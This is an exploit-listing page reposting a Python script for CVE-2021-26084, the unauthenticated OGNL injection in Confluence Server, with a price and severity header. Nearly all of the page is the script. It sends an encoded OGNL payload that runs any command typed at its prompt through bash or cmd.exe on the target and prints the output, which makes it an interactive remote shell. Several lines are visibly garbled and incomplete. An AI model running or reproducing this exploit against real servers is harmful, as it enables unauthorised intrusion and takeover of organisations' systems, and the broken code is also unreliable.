Confluence Server 7.12.4 OGNL Injection Remote Code Execution

CVE Category Price Severity
CVE-2021-26084 CWE-94 $25,000 Critical
Author Risk Exploitation Type Date
Seyed Mehdi Ghasemi Critical Remote 2021-09-01
Our sensors found this exploit at:

Below is a copy:

Confluence Server 7.12.4 OGNL Injection Remote Code Execution
# Exploit Title: Confluence Server 7.12.4 - 'OGNL injection' Remote Code Execution (RCE) (Unauthenticated)
# Date: 01/09/2021
# Exploit Author: h3v0x
# Vendor Homepage:
# Software Link:
# Version: All < 7.12.x versions before 7.12.5
# Tested on: Linux Distros 
# CVE : CVE-2021-26084


# References: 

import requests
from bs4 import BeautifulSoup
import optparse

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target host:")
parser.add_option('-p', '--path', action="store", dest="path", help="Path to exploitation: /pages/createpage-entervariables.action?SpaceKey=x")

options, args = parser.parse_args()
session = requests.Session()

url_vuln = options.url
endpoint = options.path

if not options.url or not options.path:

    print('[+] Specify an url target')
    print('[+] Example usage: -u -p /pages/createpage-entervariables.action?SpaceKey=x')
    print('[+] Example help usage: -h')

def banner():

    print('[-] Confluence Server Webwork OGNL injection')
    print('[-] CVE-2021-26084')
    print('--------------------------------------------------------------- \n')

def cmdExec():

    while True:
        cmd = input('> ')
        xpl_url = url_vuln + endpoint
        xpl_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Accept-Encoding": "gzip, deflate"}
        xpl_data = {"queryString": "aaaaaaaa\\u0027+{Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027).newInstance().getEngineByName(\\u0027JavaScript\\u0027).\\u0065val(\\u0027var isWin = java.lang.System.getProperty(\\\\u0022).toLowerCase().contains(\\u0022win\\u0022); var cmd = new java.lang.String(\\u0022"+cmd+"\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\u0022cmd.exe\\u0022, \\u0022/c\\u0022, cmd); } else{p.command(\\u0022bash\\u0022, \\u0022-c\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new; var bufferedReader = new; var line = \\u0022\\u0022; var output = \\u0022\\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\\u0027)}+\\u0027"}
        rawHTML =, headers=xpl_headers, data=xpl_data)

        soup = BeautifulSoup(rawHTML.text, 'html.parser')
        queryStringValue = soup.find('input',attrs = {'name':'queryString', 'type':'hidden'})['value']


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